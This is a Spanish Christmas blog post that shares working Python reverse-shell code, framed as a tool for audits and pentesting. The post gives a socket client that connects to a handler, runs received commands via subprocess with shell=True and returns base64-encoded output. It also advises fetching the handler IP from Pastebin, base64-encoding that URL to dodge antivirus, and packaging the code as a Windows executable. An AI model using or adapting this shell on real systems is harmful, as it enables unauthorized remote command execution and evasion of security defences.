Feliz Navidad with Custom Python Reverse Shell

Este año es mi quinta (5) Navidad con vosotros, parece que fuera

ayer (25/Dic 2011) cuando celebré la primera Navidad con todos vosotros,

el camino recorrido hasta ahora ha sido gratificante y emocionante, pero

quizás lo es aún más el camino que queda por recorrer.

Como es habitual, la intensidad con la que publico artículos se

encuentra supeditada a la vida misma (y a los deseos de mi pequeña xD),

el pasado 2014, se me olvido felicitar la Navidad, por lo que este año

me ha parecido que la mejor forma de celebrarlo con vosotros es

compartiendo el código de una shell reversa escrita en python … que

puede resultar de gran utilidad durante una Auditoria / Pentesting.

Muchas Gracias a todos por seguirme y leer mis publicaciones, no vemos

el año próximo. Feliz Navidad con mis mejores deseos para el año que

viene.

Custom Python Reverse Shell

Code*:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def shell():
   #Base64 encoded reverse shell
   try:
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.connect(('127.0.0.1', int(443)))
       s.send('[*] Connection Established!')
       while 1:
             cmd = s.recv(1024)
             if cmd == "quit":
                 break
             response = run_cmd(cmd)
             if response:
                 encoded = base64.b64encode(response)
             else:
                 response = 'Running: {}'.format(cmd)
             encoded = base64.b64encode(response)
             s.send(encoded)
    except socket.error:
       sys.exit(2)
    except WindowsError:
       pass
    finally:
       s.close()

Es un fragmento de como se puede implementar una “Shell” de conexión

inversa en python de forma sencilla. Falta por supuesto como ejecutar

comandos en el sistema:

1
2
3   
4
5
6
7
8
9
10
def run_cmd(data):
      proc = subprocess.Popen(data,
                                     shell=True,
                stdout=subprocess.PIPE,
                 stderr=subprocess.PIPE,
                  stdin=subprocess.PIPE)
      stdout = proc.stdout.read() + proc.stderr.read()
      return stdout

He utilizado subprocess para la ejecución de “comandos” en el sistema

remoto. Estoy seguro que mas de uno esta pensando técnicas para mejorar

la shell, implementar nuevos comandos, etc. Por ejemplo, la IP podría

cogerla de un registro DNS, o de un recurso WEB publico, para evitar

hardcodear (incrustar) la IP dentro del código fuente. Se recomienda,

hardcodear en base64 la URL del recurso WEB para determinar la IP del

“handler” y tratar de evitar la detección como malware por los antivirus

(*Alguien se anima a mejorar la Shell implementando la obtención de la

IP desde un recurso web publico como pastenBIN?*)

Compatible tanto en Windows como en Linux, se puede crear un ejecutable

para Windows utilizando pyexe o pyinstaller.

Es un “shell” muy simple pero efectiva. Os invito a probarla y comentar

las limitaciones que tiene la Shell y como se podrían solventar!

Por supuesto, os dejo como trabajo para casa, la creación del “cliente”

que se conecta y maneja la conexión inversa con la shell .. xD

#ST2 #ST2Labs os desea:

<span

style=“border: none; font-size: small; list-style: circle inside; margin: 0px; outline: none; padding: 0px;“>**<span

style=“border: none; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: none; padding: 0px; text-align: start;“>¡¡¡FeliZ

Navidad!!!<span id=“result_box” class=“short_text” lang=“en”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“> -

Merry Christmas - <span id=“result_box” class=“short_text”

lang=“fr”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>Joyeux

Noël - <span id=“result_box” class=“short_text” lang=“de”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>Frohe

Weihnachten - <span id=“result_box” class=“short_text” lang=“ru”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>С

Рождеством - <span id=“result_box” class=“short_text”

lang=“zh-CN”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>圣诞节快乐

- <span id=“result_box” class=“short_text” lang=“it”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>Buon

Natale - <span id=“result_box” class=“short_text” lang=“sv”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>God

Jul -<span id=“result_box” class=“short_text” lang=“pt”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>Feliz

Natal …**

<span

style=“border: none; font-size: small; list-style: circle inside; margin: 0px; outline: none; padding: 0px;“>**<span

class=“short_text” lang=“pt”

style=“border: 0px; color: #777777; font-family: Arial, ‘Century gothic’, sans-serif; list-style: circle inside; margin: 0px; outline: 0px; padding: 0px; text-align: start; vertical-align: baseline;“>

**

@rhodius | @seguridadxato2 | @st2labs

[*] Basada en el código

de primalsecurity


Ver también